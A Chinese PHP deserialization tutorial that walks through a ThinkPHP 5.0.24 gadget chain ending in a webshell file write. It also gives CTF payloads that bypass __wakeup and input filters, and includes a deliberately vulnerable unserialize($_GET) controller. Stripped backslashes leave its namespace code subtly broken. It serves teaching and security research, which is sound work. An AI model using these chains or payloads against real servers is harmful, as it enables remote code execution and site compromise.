PHP框架反序列化入门系列(一)

 

0x0 前言

本文面向拥有一定PHP基础的萌新选手,从反序列化的简略原理->实战分析经典tp5.0.x的漏洞->讨论下CTF做题技巧,后面系列就倾向于针对不同PHP框架如何有效地挖掘反序列化漏洞和快速构造POC的技术探讨。

 

0x1 PHP反序列化原理

序列化技术的出现主要是解决抽象数据存储问题,反序列化技术则是解决序列化数据抽象化的。换句话来说, 一个类的对象, 像这种具有层级结构的数据,你没办法直接像文本那样存储,所以我们必须采取某种规则将其文本化(流化),反序列化的时候再复原它。

这里我们可以举一个例子:

<?php
class A{
    public $t1;
    private $t2='t2';
    protected $t3 = 't3';
}

// create a is_object
$obj = new A();
$obj->t1 = 't1';
var_dump($obj);
echo serialize($obj);
?>

我们不难看到序列化的过程就是将层次的抽象结构变成了可以用流表示的字符串。

O:1:"A":3:{s:2:"t1";s:2:"t1";s:5:"At2";s:2:"t2";s:5:"*t3";s:2:"t3";}

我们可以分析下这个字符串

public的属性在序列化时,直接显示属性名
protected的属性在序列化时,会在属性名前增加0x00*0x00,其长度会增加3
private的属性在序列化时,会在属性名前增加0x00classname0x00,其长度会增加类名长度+2

反序列化的话,就能依次根据规则进行反向复原了。

 

0x2 PHP反序列化攻击

按道理来说,PHP反序列乍看是一个很正常不过的功能, 为什么我们听到反序列化更多的是将其当作一种漏洞呢? 到底存不存在合理安全的反序列化流程?

回答这个问题, 我们得清楚这个反序列过程,其功能就类似于””创建了一个新的对象”(复原一个对象可能更恰当), 并赋予其相应的属性值,在反序列过程中,如果让攻击者任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(或者代码流中有一些行为会自动触发一些方法),那么就有可能以此为跳板进而攻击系统应用。

那么什么是自动触发的方法呢? 在PHP中我们称其为魔术方法

通过阅读文档我们可以发现一个有意思的现象:

我们可以将其理解为序列化攻击,这里我不展开探讨,欢迎读者去研究。

同样我们可以发现,反序列过程中__wakeup()魔术方法会被自动触发,我们可以整理下PHP的各种魔术方法及其触发条件。

__construct()    #类的构造函数
__destruct()    #类的析构函数
__call()    #在对象中调用一个不可访问方法时调用
__callStatic()    #用静态方式中调用一个不可访问方法时调用
__get()    #获得一个类的成员变量时调用
__set()    #设置一个类的成员变量时调用
__isset()    #当对不可访问属性调用isset()或empty()时调用
__unset()    #当对不可访问属性调用unset()时被调用。
__sleep()    #执行serialize()时,先会调用这个函数
__wakeup()    #执行unserialize()时,先会调用这个函数
__toString()    #类被当成字符串时的回应方法
__invoke()    #调用函数的方式调用一个对象时的回应方法
__set_state()    #调用var_export()导出类时,此静态方法会被调用。
__clone()    #当对象复制完成时调用
__autoload()    #尝试加载未定义的类
__debugInfo()    #打印所需调试信息

这里我们着重需要注意的是:

__construct()

__destruct()

__wakeup()

我们可以写代码验证一下这三者的关系。

<?php
class A{
    public $t1;
    private $t2='t2';
    protected $t3 = 't3';
    function __wakeup(){
        var_dump("i am __wakeup");
    }
    function __construct(){
        var_dump("i am __construct");
    }
    function __destruct(){
        var_dump("i am __destruct");
    }
}

// create a is_object
$obj = new A();
$obj->t1 = 't1';
echo "=====serialize=====";
echo '<br>';
echo serialize($obj);
echo '<br>';
echo "=====unserialize=====";
unserialize( serialize($obj));
echo '<br>';
?>

所以说反序列化能直接自动触发的函数就是:__wakeup __destruct

那么为什么__construct不能呢? 我们可以这样理解,因为序列化本身就是存储一个已经初始化的的对象的值了, 所以没必要去执行__construct,或者说序列化过程本身没有创建对象这一过程,所以说挖掘PHP反序列化最重要的一步就是通读系统所有的__wakeup __destruct函数, 然后于此接着挖掘其他点, 这也是目前大多数反序列化的挖掘思路, 更隐蔽的话比较骚的可能就是那些不是很直接的调用魔术方法的挖掘思路了, 这部分比较难实现自动化(规则很难控制,欢迎师傅找我交流)

那么怎么来实现安全反序列化呢?

反序列化内容不要让用户控制(加密处理等处理方法), 因为组件依赖相当多,黑名单的路子就没办法行得通的

但是众所周知,PHP的文件处理函数对phar协议处理会自动触发反序列化可控内容,从而大大增加了反序列化的攻击面, 所以说想要杜绝此类问题, 对程序猿的安全觉悟要求相当高, 需要严格控制用户操作比如文件相关操作等。

当然像我这种菜B程序猿采取的方案就是:

暴力直接写死destruct and wakeup 函数

0x2.1 POP链原理简化

<?php
class A{
    public $obj;
    function __construct(){
        var_dump("i am __construct");
    }

    function __destruct(){
        var_dump("i am __destruct");
        var_dump(file_exists($this->obj));
    }

}

class B{
    public $obj;
    function __toString(){
        var_dump("I am __toString of B!");
        // 触发 __call 方法
        $this->obj->getAttr("test", "t2");
        return "ok";
    }
}

class C{
    function __call($t1, $t2){
        var_dump($t1);
        var_dump($t2);
        var_dump("I am __call of C");
    }
}

$objC = new C();
$objB = new B();
$objA = new A;
// 触发C的__call,将C类的对象$objC给B的$obj属性。
$objB->obj = $objC;
// 这里为了触发的__toString, 将B类的对象$objB给A的$obj属性
$objA->obj = $objB;

其实这种就是类组合的应用, 一个类A中包含另外一个类B的对象, 然后通过该B对象调用其方法,从而将利用链转移到另外一个类B, 只不过这些方法具备了”自动触发”性质,从而能够实现自动POP到具有RCE功能的类中去。

 

0x3 ThinkPHP5.0.x反序列化漏洞

这个漏洞最早是小刀师傅发现的, ,相当赞的挖掘过程, 与其他经典tp链不太一样,所以我就以此展开来学习了, 这里记录下我的复现过程。

0x3.1 安装ThinkPHP5.0.24

composer create-project --prefer-dist topthink/think=5.0.24 tp5024

等待下载完即可

0x3.2 TP框架知识点入门

thinkphp/tp5024/application/index/controller/Index.php

我们修改其内容(手工构造一个反序列化的点,方便调试)

<?php
namespace appindexcontroller;

class Index
{
    public function index()
    {
        // vuln
        unserialize(@$_GET['c']);
        return 'thinkphp 5.0.24';
    }
}

在正式开始审计之前我们了解一下TP框架中命名空间与类库的内容。

详细内容参考tp官方文档: 命名空间

1.什么是命名空间?

命名空间是在php5.3中加入的, 其实许多语言(java、c#)都有这个功能。

简单理解就是分类的标签, 更加简单的理解就是我们常见的目录(其作用就是发挥了命名空间的作用)

用处:

1.解决用户编码与PHP内部的类/函数/常量或第三方类/函数/常量之间的名字冲突

2.为很长的标识符名称创建一个别名的名称,提高源代码的可行性

这里展示下几个演示命名空间功能的例子:

  • 1.命名空间用法(1)直接使namespache命名空间
    <?php
    // 用法1,不推荐
    namespace sp1;
    echo '"', __NAMESPACE__, '"';
    namespace sp2;
    echo '"', __NAMESPACE__, '"';
    
    #输出output:
    "sp1" "sp2"
    

    (2)使用大括号模式,推荐使用

    <?php
    // 用法2,推荐
    namespace sp1{
        echo '"', __NAMESPACE__, '"';
    }
    namespace sp2{
        echo "</br>";
        echo '"', __NAMESPACE__, '"';
        echo "</br>";
    }
    namespace { //全局空间
         echo '"', __NAMESPACE__, '"';
    }
    
    #输出output:
    "sp1"
    "sp2"
    ""
    
  • 2.使用命名空间
    1. 非限定名称,或不包含前缀的类名称,例如 $a=new foo(); 或 foo::staticmethod();。如果当前命名空间是 currentnamespace,foo 将被解析为 currentnamespacefoo。如果使用 foo 的代码是全局的,不包含在任何命名空间中的代码,则 foo 会被解析为foo。 警告:如果命名空间中的函数或常量未定义,则该非限定的函数名称或常量名称会被解析为全局函数名称或常量名称。
    2. 限定名称,或包含前缀的名称,例如 $a = new subnamespacefoo(); 或 subnamespacefoo::staticmethod();。如果当前的命名空间是 currentnamespace,则 foo 会被解析为 currentnamespacesubnamespacefoo。如果使用 foo 的代码是全局的,不包含在任何命名空间中的代码,foo 会被解析为subnamespacefoo。
    3. 完全限定名称,或包含了全局前缀操作符的名称,例如, $a = new currentnamespacefoo(); 或 currentnamespacefoo::staticmethod();。在这种情况下,foo 总是被解析为代码中的文字名(literal name)currentnamespacefoo。
    <?php
    namespace FooBar;
    include 'file1.php';
    
    const FOO = 2;
    function foo() {}
    class foo
    {
      static function staticmethod() {}
    }
    
    /* 非限定名称 */
    foo(); // 解析为函数 FooBarfoo
    foo::staticmethod(); // 解析为类 FooBarfoo ,方法为 staticmethod
    echo FOO; // 解析为常量 FooBarFOO
    
    /* 限定名称 */
    subnamespacefoo(); // 解析为函数 FooBarsubnamespacefoo
    subnamespacefoo::staticmethod(); // 解析为类 FooBarsubnamespacefoo,
                                    // 以及类的方法 staticmethod
    echo subnamespaceFOO; // 解析为常量 FooBarsubnamespaceFOO
    
    /* 完全限定名称 */
    FooBarfoo(); // 解析为函数 FooBarfoo
    FooBarfoo::staticmethod(); // 解析为类 FooBarfoo, 以及类的方法 staticmethod
    echo FooBarFOO; // 解析为常量 FooBarFOO
    ?>
    
  • 3.别名/导入

    PHP 命名空间支持 有两种使用别名或导入方式:为类名称使用别名,或为命名空间名称使用别名。

    在PHP中,别名是通过操作符 use 来实现的.

    下面是一个使用所有可能的三种导入方式的例子:

    1、使用use操作符导入/使用别名

    <?php
    namespace foo;
    use MyFullClassname as Another;
    
    // 下面的例子与 use MyFullNSname as NSname 相同
    use MyFullNSname;
    
    // 导入一个全局类
    use ArrayObject;
    
    $obj = new namespaceAnother; // 实例化 fooAnother 对象
    $obj = new Another; // 实例化 MyFullClassname 对象
    NSnamesubnsfunc(); // 调用函数 MyFullNSnamesubnsfunc
    $a = new ArrayObject(array(1)); // 实例化 ArrayObject 对象
    // 如果不使用 "use ArrayObject" ,则实例化一个 fooArrayObject 对象
    ?>
    

2.tp中的根命名空间

名称 描述 类库目录
think 系统核心类库 thinkphp/library/think
traits 系统Trait类库 thinkphp/library/traits
app 应用类库 application
       如果需要增加新的根命名空间,有两种方式:注册新的根命名空间或者放入`EXTEND_PATH`目录(自动注册)。

thinkphp/library/think 这个就是tp的关键类库,也是们构造反序列化链的核心代码区域。

3.tp的类自动加载机制

详细内容参考官方文档的: 自动加载

原理就是根据类的命名空间定位到类库文件

然后我们创建实例的时候系统会自动加载这个类库进来。

example:

框架的Library目录下面的命名空间都可以自动识别和定位,例如:

  1. ├─Library 框架类库目录
  2. │ ├─Think 核心Think类库包目录
  3. │ ├─Org Org类库包目录
  4. │ ├─ ... 更多类库目录

Library目录下面的子目录都是一个根命名空间,也就是说以Think、Org为根命名空间的类都可以自动加载:

  1. new ThinkCacheDriverFile();
  2. new OrgUtilAuth();

都可以自动加载对应的类库文件,后面构造POC的时候会再次涉及到这个知识点。

0x3.3 尝试分析5.0.x反序列化

笔者环境: Mac OS, phpstorm

类库搜索:__destruct

定位到入口:/tp5024/thinkphp/library/think/process/pipes/Windows.php

public function __destruct()
{
    $this->close();
    $this->removeFiles();//跟进这个函数
}
    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) { //这里可以触发__toString
                @unlink($filename);//这里可以反序列删除任意文件
            }
        }
        $this->files = [];
    }

我们接着可以全局搜索下有没有合适的__toString方法

tp5024/thinkphp/library/think/Model.php

    public function __toString()
    {
        return $this->toJson();
    }
    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options); //跟进
    }

我们需要控制两个值:$modelRelation and $value,这里其实具体还是比较复杂的,

这里我们假设可以任意控制,先理解清楚后面的写shell流程,掌握主干的方向。

通过控制$modelRelation我们可以走到$value-getAttr($attr),其中$value也是我们可以控制的,我们将其控制为thinkconsoleconsole的对象,最终进入到了

thinkphp/library/think/console/Output.php

因为不存在getAttr方法从而调用了__call

    public function __call($method, $args)
    {
        if (in_array($method, $this->styles)) {
            array_unshift($args, $method);
            return call_user_func_array([$this, 'block'], $args);
          //跟进这个函数调用
        }
............
    }
    protected function block($style, $message)
    {
        $this->writeln("<{$style}>{$message}</$style>");//继续跟进
    }
    public function writeln($messages, $type = self::OUTPUT_NORMAL)
    {
        $this->write($messages, true, $type);//跟进
    }
    public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
    {
        $this->handle->write($messages, $newline, $type);
    }

当来到这里的时候$this-handle我们是可以控制的,但是我们一直可以控制的参数值只有一个那就是上面的$messages,其他的参数值没办法控制

namespace thinkconsole{
    class Output{
        private $handle = 这里可以控制为任意对象;
        protected $styles = [
            'getAttr'
        ];
    }
}

这里我们选择控制为thinksessiondriverMemcached的对象然后调用他的write方法

tp5024/thinkphp/library/think/session/driver/Memcached.php

    public function write($sessID, $sessData)
    {
        return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);//跟进看看
    }

这里是关键写入shell的地方,我们从file_put_contents反向溯源$filenameanddata,看下数据是怎么流向的。

    public function set($name, $value, $expire = null) 
    {
        //$value 我们没办法控制
        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        if ($expire instanceof DateTime) {
            $expire = $expire->getTimestamp() - time();
        }
        $filename = $this->getCacheKey($name, true);
        if ($this->tag && !is_file($filename)) {
            $first = true;
        }
        $data = serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data   = "<?phpn//" . sprintf('%012d', $expire) . "n exit();?>n" . $data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            isset($first) && $this->setTagItem($filename);
            clearstatcache();
            return true;
        } else {
            return false;
        }
    }

第一次我们是没办法控制写入的内容,但是这里进行了二次写入

$this->setTagItem($filename),跟进看看

    protected function setTagItem($name)
    {
        if ($this->tag) {
            $key       = 'tag_' . md5($this->tag);
            $this->tag = null;
            if ($this->has($key)) {
                $value   = explode(',', $this->get($key));
                $value[] = $name;
                $value   = implode(',', array_unique($value));
            } else {
                $value = $name; //这里$value可以被我们控制
            }
            $this->set($key, $value, 0);//这里再次进行了写入
        }
    }

最终的指向效果就是:

生成的shell文件名就是:

<?cuc cucvasb();?>3b11e4b835d256cc6365eaa91c09a33f.php

上面介绍了反序列化的主要流程

下一篇文章我会着重讲下该POC的构造过程,探究下优化的可能性。

 

0x4 CTF中反序列化的考点

打了几场比赛, 顺便总结下CTF中反序列化经常考的点, 这些点有可能今后在实战审计中用到, 因为这些点正是一些cms的防护被绕过的例子。

0x4.1 __wakeup 绕过

通过前面我们可以知道反序列化的时候会自动触发__wakeup,所以有些程序猿在这个函数做了些安全检查。

<?php
class Record{
    public $file='hacker';
    public function __wakeup()
    {
        $this->file = 'hacker';
    }

    public function __destruct()
    {
        if($this->file !== 'hacker'){
            echo "flag{success!}";
        }else
        {
            echo "try again!";
        }
    }
}

$obj = new Record();
$obj->file = 'boy';
echo urlencode(serialize($obj));
// vuln
unserialize($_GET['c']);

?>
O%3A6%3A%22Record%22%3A0%3A%7B%7D
// 解码后
O:6:"Record":0:{}

这里我们反序列化的时候,修改下对象的属性值数目,就可以绕过

O:6:"Record":0:{}
//修改后
O:6:"Record":1:{}
//编码后
O%3a6%3a%22record%22%3a1%3a%7b%7d

成员属性值数目大于真实的数目,便能不触发__wakeup方法,实现绕过

0x4.2 绕过preg_match('/[oc]:d+:/i',$cmd

<?php
class Record{
    public function __wakeup()
    {
        var_dump("i am __wakeup");
        $this->file = 'hacker';
    }

    public function __destruct()
    {
        var_dump("i am __destruct");
    }
}

$obj = new Record();
echo urlencode(serialize($obj));
// vuln
if (preg_match('/[oc]:d+:/i',$_GET['c']))
{
    die('<br>what?');
}else
{
    var_dump("Hello");
    unserialize($_GET['c']);
}

?>

这个是其他师傅fuzz出来的一个小技巧,对象长度可以添加个+来绕过正则

O:6:"Record":0:{}
//修改后
O:+6:"Record":1:{}
//编码后
O%3a%2b6%3a%22record%22%3a1%3a%7b%7d

0x4.3 绕过substr($c, 0, 2)!=='O:'

这个限制当时在华中赛区的时候还卡了我一下, 就是限制了开头不能为对象类型,

不过这道题目之前腾讯的某个ctf出过,所以难度不是很大,这里记录下数组绕过的方法

<?php
class Record{
    public function __wakeup()
    {
        var_dump("i am __wakeup");
        $this->file = 'hacker';
    }

    public function __destruct()
    {
        var_dump("i am __destruct");
    }
}

$obj = new Record();
//数组化
$a = array($obj);
echo urlencode(serialize($a));
// vuln
if (substr($_GET['c'], 0, 2)=='O:')
{
    die('<br>what?');
}else
{
    var_dump("Hello");
    unserialize($_GET['c']);
}

?>
O:6:"Record":0:{}
//修改后
a:1:{i:0;O:6:"Record":1:{}}
//编码后
a%3A1%3A%7Bi%3A0%3BO%3A6%3A%22Record%22%3A1%3A%7B%7D%7D

反序列化的时候他是会从反序列化数组里面的内容的。

0x4.4 反序列化的字符逃逸

这个内容我接触的可能比较少, 是一些有点偏的特性,这里分享几篇资料,读者有兴趣可以自行研究或者与我一起探讨下:

详解PHP反序列化中的字符逃逸

一道ctf题关于php反序列化字符逃逸

其实原理简单来说就是:

就是序列化数据拼接的时候容错机制导致的问题,导致了可以伪造序列化数据内容。

 

0x5 总结

PHP的反序列化学习起来比python、java那些反而更加简单和直接, 非常适合萌新选手入门反序列化前掌握反序列化思想,同样其利用方面也是极具威胁性的,毕竟使用框架的cms那么多,就算不使用框架,也一样会存在风险。随着后期发展,我感觉反序列化漏洞会超越传统SQL注入、任意文件上传等主流的高危漏洞, 欢迎师傅们与我一起探讨深入研究各种相关骚操作。

 

0x6 参考链接

PHP反序列化原理及漏洞解析

ThinkPHP v5.0.x 反序列化利用链挖掘

命名空间自动加载

ThinkPHP反序列化pop链分析)

PHP 内核层解析反序列化漏洞

(完)